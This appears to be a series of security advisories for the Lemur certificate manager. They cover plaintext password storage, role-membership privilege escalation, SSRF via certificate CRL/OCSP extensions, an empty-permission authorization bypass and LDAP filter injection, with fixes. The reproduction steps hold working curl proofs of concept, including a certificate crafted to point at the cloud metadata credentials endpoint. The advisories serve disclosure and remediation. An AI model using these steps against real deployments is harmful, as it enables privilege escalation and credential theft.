    password = Column(String(128))            # plain column, no setter, no Vault descriptor

# line 74
    def hash_password(self):
        if self.password:
            self.password = bcrypt.generate_password_hash(self.password).decode("utf-8")

# line 111
listen(User, "before_insert", hash_password)  # only before_insert is wired

lemur/users/service.py:

# line 46
def update(user_id, username, email, active, profile_picture, roles, password=None):
    ...
    user = get(user_id)
    user.username = username
    user.email = email
    user.active = active
    user.profile_picture = profile_picture
    if password:
        user.password = password              # raw assignment
    update_roles(user, roles)
    return database.update(user)              # commits, no hashing

No before_update listener exists. User.password is a plain Column(String(128)) with no property setter that hashes on assignment. The bcrypt code path is bypassed entirely on every UPDATE statement that touches this column.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/users/<id> | lemur/users/views.py:274 (gated by @admin_permission.require) |

lemur/auth/views.py:323 also calls user_service.update() during SSO/OAuth login, but passes only six positional arguments. password defaults to None on that path and the if password: guard short-circuits. The bug is triggered only through the admin-only PUT handler.

Impact

When an administrator changes a user's password via PUT /api/1/users/<id>, the cleartext password is persisted to users.password. Subsequent login attempts for that user will fail (check_password calls bcrypt.check_password_hash against an unhashed value), pushing operators toward workarounds.

The more serious consequence is a defense-in-depth bypass. Bcrypt is the protection that prevents a database compromise from yielding usable credentials. With plaintext rows present, an attacker who exfiltrates the users table, a backup, a read replica, or query logs obtains directly usable login credentials — no offline cracking required. Because users reuse passwords across services, the blast radius extends beyond Lemur.

The bug specifically affects admin-driven password resets, which are the normal post-incident workflow and exactly when plaintext storage is most harmful.

Steps to Reproduce

1. Install Lemur with default config. Create an admin user and a target user 'alice' (created via the standard flow, password will be hashed correctly on insert).

2. Verify the initial hash: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: $2b$12$N9Q... (bcrypt hash, as expected)

3. As admin, change alice's password via the API: curl -X PUT https://lemur.local/api/1/users/<alice_id>
   -H "Authorization: Bearer <admin_jwt>"
   -H "Content-Type: application/json"
   -d '{ "username": "alice", "email": "alice@example.com", "active": true, "profile_picture": null, "roles": [{"name": "operator"}], "password": "ProofOfConcept_2026" }'

4. Read the column again: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: ProofOfConcept_2026 ← plaintext, not hashed

5. Confirm the failure mode: 'alice' can no longer log in with 'ProofOfConcept_2026' because check_password runs bcrypt.check_password_hash() against the cleartext column.

Remediation

Register the listener for both events:

# lemur/users/models.py
listen(User, "before_insert", hash_password)
listen(User, "before_update", hash_password)

Alternative, equivalent fix in the service layer:

# lemur/users/service.py, in update()
    if password:
        user.password = password
        user.hash_password()

The listener fix is preferred because it closes the gap for any future code path that mutates user.password.

A one-time migration is recommended to detect and re-hash any rows already stored in cleartext. Bcrypt hashes begin with $2b$, $2a$, or $2y$. Any cleartext credential should be treated as compromised — rotate it, do not just re-hash it — since it has been at rest in plaintext and may exist in backups, audit logs, and replicas.

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/roles/<id> | lemur/roles/views.py:298 |

Impact

A user who is a member of role X can:

• Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
• Remove other users from role X, denying their access (availability / governance impact).
• Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

2. Authenticate as alice and capture the JWT:

   curl -X POST https://lemur.local/api/1/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"alice","password":"<alice_pw>"}'
   

3. Confirm the initial state - bob is not a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: alice present in users list, bob absent
   

4. As alice, send a PUT that injects bob into the operator role:

   curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
        -H "Authorization: Bearer <alice_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "name": "operator",
              "description": "modified by alice",
              "users": [{"id": <alice_id>}, {"id": <bob_id>}]
            }'
   # observe: HTTP 200
   

5. Confirm bob is now a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: bob now present in users list
   

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

point = p.full_name[0].value                          # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],                            # attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

• Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
• On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
• Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

2. Generate a self-signed certificate whose extensions point at internal services:

   cat > openssl.cnf <<EOF
   [req]
   distinguished_name = req_distinguished_name
   req_extensions = v3_ca
   prompt = no
   
   [req_distinguished_name]
   CN = ssrf-poc.example
   
   [v3_ca]
   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
   EOF
   
   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
       -days 365 -nodes -config openssl.cnf -extensions v3_ca
   

3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

   sudo tcpdump -nni any host 169.254.169.254
   

4. As eve, upload the malicious certificate:

   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
   curl -X POST https://lemur.local/api/1/certificates/upload \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d "{
              \"name\": \"ssrf-poc\",
              \"body\": \"$BODY\",
              \"chain\": \"\",
              \"private_key\": \"\",
              \"owner\": \"eve@example.com\"
            }"
   

5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

Summary

StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero Needs when their config flags are unset. Both flags defaulted to False in code prior to the fix, so this was the state of any Lemur install that hadn't explicitly opted in.

Flask-Principal's Permission.allows() returns True whenever self.needs is empty. The .can() gate therefore passes for every authenticated identity, including the lowest-privilege role Lemur ships (read-only).

A user holding only read-only can create root Certificate Authorities, create and edit notifications (an SSRF sink), create domain entries, and upload arbitrary certificates. These classes are the sole authorization check on those endpoints.

Root Cause

# lemur/auth/permissions.py
class AuthorityCreatorPermission(Permission):
    def __init__(self):
        requires_admin = current_app.config.get("ADMIN_ONLY_AUTHORITY_CREATION", False)
        if requires_admin:
            super().__init__(RoleNeed("admin"))
        else:
            super().__init__()              # empty Need set

class StrictRolePermission(Permission):
    def __init__(self):
        strict_role_enforcement = current_app.config.get("LEMUR_STRICT_ROLE_ENFORCEMENT", False)
        if strict_role_enforcement:
            needs = [RoleNeed("admin"), RoleNeed("operator")]
            super().__init__(*needs)
        else:
            super().__init__()              # empty Need set

flask_principal.Permission.allows() (upstream, v0.4.0):

def allows(self, identity):
    if self.needs and not self.needs.intersection(identity.provides):
        return False
    ...
    return True

When self.needs == set(), the first guard is falsy and is skipped. excludes is also empty, so allows() returns True for any identity. AuthenticatedResource (the parent class for these views) sets method_decorators = [login_required], which checks authentication only, no role. So the permission .can() is the only authorization layer in front of these endpoints.

Affected Endpoints

Views whose only authorization check is StrictRolePermission().can() or AuthorityCreatorPermission().can():

| Method | Path | Source | |----------|-------------------------------------------|-----------------------------------------| | POST | /api/1/authorities | lemur/authorities/views.py:231 | | POST | /api/1/certificates/upload | lemur/certificates/views.py:651 | | POST | /api/1/pending_certificates/<id>/upload | lemur/pending_certificates/views.py:545 | | POST | /api/1/notifications | lemur/notifications/views.py:227 | | PUT/DEL | /api/1/notifications/<id> | lemur/notifications/views.py:370,384 | | POST | /api/1/domains | lemur/domains/views.py:131 |

POST /api/1/authorities is gated by AuthorityCreatorPermission().can() and StrictRolePermission().can(); both have empty Needs by default. The other rows are gated by StrictRolePermission().can() alone.

Note on scope: PUT /api/1/authorities/<id> also references StrictRolePermission, but its gate is AuthorityPermission(...).can() and StrictRolePermission().can(). AuthorityPermission is constructed with non-empty Needs (RoleNeed("admin") plus authority-scoped needs), so that endpoint is not bypassable by a read-only user and is excluded from this report.

Impact

A user holding only the read-only role can:

1. Create root Certificate Authorities. CA cert and private key are persisted in Lemur's DB with the attacker as owner. Any internal trust store that pins Lemur-managed roots can now be signed against by the attacker.
2. Upload arbitrary certificates via /certificates/upload, including attacker-supplied keys with destinations such as AWS push.
3. Create or modify notifications, which reach an SSRF sink (see related finding F3, Slack notification webhook).
4. Mark arbitrary domains as sensitive, manipulating Lemur's domain registry and the cert-issuance approval path.

Combined with any low-privilege credential leak (phished employee, leaked SSO token) or insider access, this is a pivot from "any authenticated identity" to control of the PKI issuance plane.

Remediation

The config flag defaults for ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT were changed from False to True. Restrictive role enforcement is now active on all default installs without requiring explicit configuration.

class AuthorityCreatorPermission(Permission):
    def __init__(self):
        requires_admin = current_app.config.get("ADMIN_ONLY_AUTHORITY_CREATION", True)
        ...

class StrictRolePermission(Permission):
    def __init__(self):
        strict_role_enforcement = current_app.config.get("LEMUR_STRICT_ROLE_ENFORCEMENT", True)
        ...

Note: The opt-out branches (empty Needs) remain in the code. Operators who explicitly set ADMIN_ONLY_AUTHORITY_CREATION = False or LEMUR_STRICT_ROLE_ENFORCEMENT = False in their config will reintroduce the bypass. These flags should be left unset or set to True.

Description

Overview

Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator.

Vulnerable Code

Location: lemur/auth/ldap.py, _bind() method

Filter 1 — User lookup (line ~161):

ldap_filter = "userPrincipalName=%s" % self.ldap_principal

self.ldap_principal is derived directly from args["username"] submitted at POST /auth/login with no sanitization. The ldap.filter.escape_filter_chars() function is never called.

Filter 2 — Active Directory group lookup (line ~189):

groupfilter = "(&(objectclass=group)(member:1.2.840.113556.1.4.1941:={}))".format(userdn)

The userdn value is derived from the LDAP response to the first unsanitized query, making it potentially tainted as well.

Impact

An authenticated LDAP user can:

1. Inject LDAP filter syntax into the username field during login
2. Manipulate the group membership query to return arbitrary groups
3. Be assigned the admin role or any other privileged role in Lemur
4. Gain unauthorized access to all certificates, private keys (via /certificates/<id>/key), and CA configurations
5. Issue certificates under any authority